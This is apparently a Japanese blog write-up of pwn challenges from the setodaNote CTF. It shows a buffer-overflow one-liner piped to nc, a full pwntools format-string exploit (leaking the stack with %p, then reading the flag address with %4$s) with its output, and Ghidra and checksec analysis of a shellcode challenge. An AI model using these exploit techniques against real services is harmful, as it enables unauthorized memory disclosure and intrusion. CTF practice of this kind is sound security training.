$ python -c 'print("A" * 16 + "X" * 10 + "open" + "\x00")' | nc nc.ctf.setodanote.net 26501 {} {} ! ! ! II II ! ! ! ! I__I__I_II II_I__I__I ! I_/|__|__|_|| ||_|__|__|\_I ! /|_/| | | || || | | |\_|\ ! .--. I//| | | | || || | | | |\\I .--. /- \ ! /|/ | | | | || || | | | | \|\ ! /= \ \=__ / I//| | | | | || || | | | | |\\I \-__ / } { ! /|/ | | | | | || || | | | | | \|\ ! } { {____} I//| | | | | | || || | | | | | |\\I {____} _!__!__|= |=/|/ | | | | | | || || | | | | | | \|\=| |__!__!_ _I__I__| ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\||- |__I__I_ -|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|- | | | || | | | | | | | || || | | | | | | | || | | | | | |= || | | | | | | | || || | | | | | | | ||= | | | | | |- || | | | | | | | || || | | | | | | | ||= | | | | | |- || | | | | | | | || || | | | | | | | ||- | | | _|__|__| ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_|| |__|__|_ -|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|- | | |- || | | | | | | | || || | | | | | | | ||= | | | ~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~ You'll need permission to pass. What's your name? > ============================= GREAT! GATE IS OPEN!! >> Flag is flag{Alohomora} << *-*-*-*-*-*-*-*-*-*-*-* =============================
flag{Alohomora} でした。
100ポイント獲得して、計1400ポイントで、690名中、180位になりました!
Pwn はここまでにします。
1989(追記:2024/9/17)
200ポイントの問題です。

まずは、接続してみます。
うーん、意味が分かりませんね、CWE-134 を調べてみます。
$ nc nc.ctf.setodanote.net 26502 =========================================================== _______ ________ __ ____ _ _ / ____\ \ / / ____| /_ |___ \| || | | | \ \ /\ / /| |__ ______ | | __) | || |_ | | \ \/ \/ / | __| |______| | ||__ <|__ _| | |____ \ /\ / | |____ | |___) | | | \_____| \/ \/ |______| |_|____/ |_| ========================================================== | flag | [0x56652060] >> flag is here << | Ready > a Your Inpur : a
CWE-134 は、書式文字列の問題らしいです。試しに書式文字列を入力してみます。以降、バナーは貼りません。
なるほど、入力した文字列が、printf関数にそのまま入力されてそうです。
Ready > AAAA%p,%p,%p,%p,%p,%p
Your Inpur : AAAA0xffa26220,0xffa26628,0x56652306,0x41414141,0x252c7025,0x70252c70
ちょうど、以下の本を読んでいるところでした。書式文字列攻撃について詳しく説明されていました。
上の実験で分かることは、以下です。
- フラグのアドレスは
0x56652060ということだと思う(アドレスは毎回変化する) - 32bitプログラム → 引数は全てスタックに積まれる
- 何回やっても、4番目に
AAAAが出現する - 入力した文字列をローカル変数(スタック)に取り込んでいる
%p は、単純に 16進数で表示しているだけです。代わりに %s を使うと、アドレス 0x41414141 に格納されている文字列を表示することが出来ます。
よって、0x41414141 ではなく、フラグのアドレスである 0x56652060 が格納されるようにして、4番目を %s にすれば、フラグが表示されるはずです。
つまり、AAAA の代わりに、0x56652060 を与えればいいということになります。
フラグのアドレスは毎回変わるので、Python で実装します。
今回必須ではないですが、printf関数には、ダイレクトパラメータアクセスというのがあります(全ての処理系にあるわけではないかもしれません)。「セキュリティコンテストチャレンジブック CTFで学ぼう!情報を守るための戦い方」で、初めて知りました。
簡単に言うと、4番目の引数を文字列で表示したい場合に、%4$s を指定できます。何がうれしいかと言うと、たくさん %p を並べなくてもよくなります。
これらを踏まえた実装が以下です。
import os, sys import argparse from pwn import * def main( args ): proc = remote( 'nc.ctf.setodanote.net', 26502 ) cnt = 0 while True: bstr = proc.recvline( timeout=2 ) print( f"{cnt}: {bstr}, split(): {bstr.split()}" ) if len(bstr) > 0: bstr_split = bstr.split() if b'flag' in bstr_split: adrs = int( bstr_split[2][1:-1], 16 ) lst = [ (adrs ) & 0xFF, (adrs >> 8) & 0xFF, (adrs >> 16) & 0xFF, (adrs >> 24) & 0xFF ] #ss = adrs.to_bytes( 4, 'little' ) + "%p,%p,%p,%p,%p".encode('utf-8') #ss = adrs.to_bytes( 4, 'little' ) + "%p,%p,%p,%s,%p".encode('utf-8') ss = adrs.to_bytes( 4, 'little' ) + "%4$s".encode('utf-8') print( ss.hex() ) bstr = proc.recv( timeout=2 ) print( f"00: {bstr}" ) proc.sendline( ss ) bstr = proc.recv( timeout=2 ) print( f"00: {bstr}" ) else: cnt += 1 if __name__ == '__main__': main( args )
実行します。
$ python 1989.py [+] Opening connection to nc.ctf.setodanote.net on port 26502: Done 0: b'===========================================================\n', split(): [b'==========================================================='] 0: b' _______ ________ __ ____ _ _ \n', split(): [b'_______', b'________', b'__', b'____', b'_', b'_'] 0: b' / ____\\ \\ / / ____| /_ |___ \\| || | \n', split(): [b'/', b'____\\', b'\\', b'/', b'/', b'____|', b'/_', b'|___', b'\\|', b'||', b'|'] 0: b' | | \\ \\ /\\ / /| |__ ______ | | __) | || |_ \n', split(): [b'|', b'|', b'\\', b'\\', b'/\\', b'/', b'/|', b'|__', b'______', b'|', b'|', b'__)', b'|', b'||', b'|_'] 0: b' | | \\ \\/ \\/ / | __| |______| | ||__ <|__ _|\n', split(): [b'|', b'|', b'\\', b'\\/', b'\\/', b'/', b'|', b'__|', b'|______|', b'|', b'||__', b'<|__', b'_|'] 0: b' | |____ \\ /\\ / | |____ | |___) | | | \n', split(): [b'|', b'|____', b'\\', b'/\\', b'/', b'|', b'|____', b'|', b'|___)', b'|', b'|', b'|'] 0: b' \\_____| \\/ \\/ |______| |_|____/ |_| \n', split(): [b'\\_____|', b'\\/', b'\\/', b'|______|', b'|_|____/', b'|_|'] 0: b' \n', split(): [] 0: b'========================================================== \n', split(): [b'=========================================================='] 0: b'\n', split(): [] 0: b' | \n', split(): [b'|'] 0: b'flag | [0x565c6060] >> flag is here << \n', split(): [b'flag', b'|', b'[0x565c6060]', b'>>', b'flag', b'is', b'here', b'<<'] 60605c5625342473 00: b' | \n\nReady > ' 00: b'Your Inpur : ``\\Vflag{Homenum_Revelio_1989}\n' Traceback (most recent call last): File "/home/user/svn/experiment/python/1989.py", line 59, in <module> main( args ) File "/home/user/svn/experiment/python/1989.py", line 13, in main bstr = proc.recvline( timeout=2 ) ^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 498, in recvline return self.recvuntil(self.newline, drop = not keepends, timeout = timeout) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 341, in recvuntil res = self.recv(timeout=self.timeout) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 106, in recv return self._recv(numb, timeout) or b'' ^^^^^^^^^^^^^^^^^^^^^^^^^ File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 176, in _recv if not self.buffer and not self._fillbuffer(timeout): ^^^^^^^^^^^^^^^^^^^^^^^^^ File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 155, in _fillbuffer data = self.recv_raw(self.buffer.get_fill_size()) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/sock.py", line 56, in recv_raw raise EOFError EOFError [*] Closed connection to nc.ctf.setodanote.net port 26502
flag{Homenum_Revelio_1989} でした。
200ポイント獲得して、計2710ポイントで、690名中、89位になりました!
Shellcode(追記:2024/9/18)
サーバとローカルファイルとがあります。普通に難しい pwn の問題っぽいです。

解凍すると、shellcode というファイルが得られます。
まず、表層解析です。strip されてなくて、スタック実行が許可されてます。実行してみましたが、よく分かりません。変なファイル(Windowsプログラム)じゃなくて良かったです(笑)。
$ file shellcode shellcode: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0dfb33311207161fab6bf4b8dcd84364df9b280a, for GNU/Linux 3.2.0, not stripped $ ../../../tools/checksec.sh-2.7.1/checksec --file=./shellcode RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX disabled PIE enabled No RPATH No RUNPATH 68 Symbols No 0 1 ./shellcode $ ./shellcode | target | [0x7ffdb96913f0] | Well. Ready for the shellcode? > aa aa
Ghidra で見てみます。main関数だけのようです。秘密の関数も特にありません。
undefined8 main(void) { char local_58 [80]; setvbuf(stdout,local_58,2,0x50); puts(" |"); printf("target | [%p]\n",local_58); puts(" |"); printf("Well. Ready for the shellcode?\n> "); __isoc99_scanf("%[^\n]",local_58); puts(local_58); return 0; }
スタックバッファオーバーフローを、発生させて攻撃するのは間違いないですが、どうすればいいんでしょうか。あ、シェルコードを用意してくださいと書かれてますね。なるほどです。
以前1、以前2 で、作ったシェルコードは ARM64用でした。今回は、x86-64 で作る必要があります。
以下の記事で、シェルコードを作りました。
daisuke20240310.hatenablog.com
flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities} でした。
300ポイント獲得して、計3310ポイントで、702名中、65位になりました!
おわりに
今回は、setodaNote CTF Exhibition にチャレンジを開始しました。
問題数が多いですが、Network、Web、Rev、Programming、Pwn を優先的に取り組んでいこうと思います。
最後になりましたが、エンジニアグループのランキングに参加中です。
気楽にポチッとよろしくお願いいたします🙇
今回は以上です!
最後までお読みいただき、ありがとうございました。